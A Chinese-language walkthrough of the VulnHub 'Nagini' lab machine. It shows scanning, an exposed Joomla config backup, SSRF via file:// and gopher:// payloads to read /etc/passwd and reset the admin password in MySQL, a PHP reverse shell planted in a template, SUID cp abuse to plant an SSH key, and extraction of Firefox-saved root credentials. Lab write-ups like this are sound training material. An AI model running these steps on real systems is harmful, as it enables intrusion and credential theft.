一、 部署方法
- 在官网上下载靶机ova环境:https://download.vulnhub.com/harrypotter/Nagini.ova
- 使用VMware搭建靶机环境
- 攻击机使用VMware上搭建的kali
- 靶机和攻击机之间使用NAT模式,保证靶机和攻击机放置于同一网段中。
二、 靶机下载安装
靶机下载与安装参考之前文章:搭建Vulnhub靶机详细步骤
三、渗透测试
1. 确认目标
扫描网段
arp-scan -l
确认靶机IP:192.168.15.134
2. 信息收集
使用nmap对靶机深度扫描
nmap -A -T4 -p- 192.168.15.134
扫描得知,靶机对外开放了22和80端口
浏览器访问80端口:http://192.168.15.134
发现只有一张图片,我们使用dirsearch扫描下网站目录
dirsearch -u 192.168.15.134
依次访问下可访问的网站目录(这里note.txt路径可以扫描出来是因为我在字典中添加了,咱们也可以使用其他更丰富的字典扫描)
通过路径爬取,我们发现了note.txt以及joomla的CMS系统,根据note.txt中提示告诉我们需要使用HTTP3服务访问https://quic.nagini.hogwarts 以便进一步通信。
我们继续使用Joomla专用CMS扫描工具对站点进行扫描,没有的话可以使用
apt install joomscan
命令安装
joomscan -u http://192.168.15.134/joomla
扫描完成我们发现了configuration.php.bak 文件,下载下来查看,我们发现了数据库的类型,账户密码秘钥等信息。
wget http://192.168.15.134/joomla/configuration.php.bak
cat configuration.php.bak
3. HTTP3环境访问
根据前面note.txt文件中提示,我们使用http3协议访问下站点。
目前的浏览器都是不支持http3协议的。为了使用HTTP3协议访问域名,需要安装支持http3的客户端程序。
安装quiche浏览器操作步骤:
apt-get update #更新数据源列表
apt install cargo #安装cargo组件
apt install cmake #安装cmake组件
apt purge rustc #卸载系统自带的rustc
apt-get install git #安装git
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh #重新安装最新版本的rustc
执行完上面选择1
source $HOME/.cargo/env #执行环境变量
git clone --recursive https://github.com/cloudflare/quiche #下载quiche
cargo build --examples #运行cargo默认实例的文件
cargo test #检查前面所有安装命令
cd /quiche/target/debug/examples
./http3-client https://192.168.15.134 #利用http3的客户端去访问目标靶机
根据上述提示可知,存在一个/internalResourceFeTcher.php的文件,且在目标服务器上存在configuration相关的.bak备份配置文件。
这里可以确认此配置文件就是我们之前使用joomscan扫描到的configuration.php.bak文件。
通过浏览器去访问下/internalResourceFeTcher.php文件,可以看到页面显示”欢迎访问内部网络资源获取页面“
4. 漏洞利用
尝试使用file协议读取本地内容,可以看到成功读取passwd文件内容,判断此处可能存在SSRF漏洞
file:///etc/passwd
查看当前靶机自己的http服务,在输入框输入:
http://127.0.0.1:80
可以看到页面访问成功,通过上述两次测试,可确定在该表单位置存在一个ssrf的漏洞。
接下来我们使用gopher协议访问目标靶机的22端口,发现页面回显服务器的SSH服务的版本信息,说明靶机支持gopher协议
gopher://127.0.0.1:22
根据之前得到的bak配置文件,我们知道服务器启用了Mysql数据库,并且用户名为goblin,密码为空,接下来我们可以使用gopher协议查询Joomla的后台管理员账密,从而登陆至Web后台进行下一步操作。这里我们使用gopherus工具,生成gopher的payload,用于我们使用SSRF漏洞对数据库执行命令。
#安装gopherus工具
git clone https://github.com/tarunkant/Gopherus.git
#进入gopherus工具目录
cd Gopherus
#使用
./gopherus.py --exploit mysql
输入数据库账户和查询数据库语句后,工具会生成一串gopher协议的payload,使用此payload在浏览器表单中进行提交,即可返回查询语句的结果(这里需要多次提交,我试了几十来次才回显)
根据返回结果我们得知数据库名称为joomla,接下来我们继续查询数据库下的表名
根据结果我们得知存储用户的表名为joomla_users,我们继续查询表下面的数据
查看返回结果,我们得到了
用户:site_admin
加密过的密码:$2y
10
10
10cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay
尝试后发现密码无法破解,我们尝试使用修改密码的语句在表单中提交修改,因为Mysql数据库支持以MD5形式存放密码,我们先生成一个密码为password的MD5值
echo -n "password" |md5sum
#生成的MD5:5f4dcc3b5aa765d61d8327deb882cf99
生成MD5后,我们继续使用gopherus工具修改site_admin用户的密码:
多次提交,页面回显即修改密码成功。
5. 反弹shell
我们使用修改后的密码登录joomla后台
浏览器输入:http://192.168.15.134/joomla/administrator
账户:site_admin
密码:password
成功登录,选择Templates中的beez3中的index.php文件
对beez3中的index.php文件进行修改,修改php反弹shell代码。这里我们使用kali自带的反弹shell代码,在kali中路径:
/usr/share/webshells/php/php-reverse-shell.php
,用代码中内容替换index.php内容。(记得修改代码中ip为实际kali的IP地址)
修改完保存后,我们在浏览器输入路径进行访问:
http://192.168.2.199/joomla/templates/beez3/index.php
然后在kali中开启监听:
nc -lvnp 1234
成功获得www-data的权限,方便操作我们可以升级下shell
/bin/bash -i
查找目录,我们在/var/www/html目录下发现了第一个魂器:horcrux1.txt
继续查找,我们在/home文件夹下发现了两个用户hermoine和snape
在用户snape中,我们发现了隐藏文件.creds.txt,查看文件发现了一串base64代码,怀疑是加密的密码
对代码进行base64解密,我们发现密码为 Love@lilly
使用账户snape及密码Love@lilly尝试进行ssh连接
ssh [email protected]
连接成功,我们继续查看另一个用户hermoine,在目录下我们发现了第二个魂器,但是由于权限问题无法打开,在/home/hermoine/bin目录下发现了su_cp的可执行文件,且该文件开启了SUID权限,属主为hermoine,即该文件运行时会以hermoine用户的身份去运行
我们可以在kali中生成一个SSH密钥对,将公钥传送到目标靶机,通过这个以hermoine权限执行并具有SUID权限的CP命令,将公钥复制到hermoine用户的SSH目录下即可实现无密码登陆
6. SSH公钥登录
在kali中生成SSH秘钥对
ssh-keygen
将秘钥从kali传入到靶机snape用户的主目录下:
scp id_rsa.pub [email protected]:~/
在snape用户下,将文件名更改为授权密钥的名称,在添加权限后远程复制到hermoine的ssh目录下
cd ~
mv id_rsa.pub authorized_keys
chmod 640 authorized_keys
cd /home/hermoine/bin/
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/
我们现在可以在kali上无密钥直接以hermoine用户登陆至目标靶机,登录成功后我们发现第二个魂器:horcrux2.txt
ssh [email protected]
7. 提权
在hermoine用户文件夹下,我们发现了隐藏的文件夹.mozilla,该文件夹是在linux操作系统中使用firefox浏览器后,在当前用户的目录下就会生成给.mozilla目录,进入该文件夹,可以发现当前浏览器中的安装的扩展包、配置信息及包括浏览器登录某些web应用后记录下的用户名和密码信息
我们将.mozilla文件夹拷贝到kali主机
scp -rp [email protected]:/home/hermoine/.mozilla /root
使用firefox_decrypt工具提取root密码
#下载firefox_decrypt工具
git clone https://github.com/unode/firefox_decrypt.git
#进入工具目录
cd firefox_decrypt
#使用工具
python3 firefox_decrypt.py /root/.mozilla/firefox
成功提取出root的密码:@Alohomora#123
使用root账户及获取到的密码登录root账户
ssh [email protected]
登录成功,在根目录下我们发现第三个魂器:horcrux3.txt
版权归原作者 网络安全小时光 所有, 如有侵权,请联系我们删除。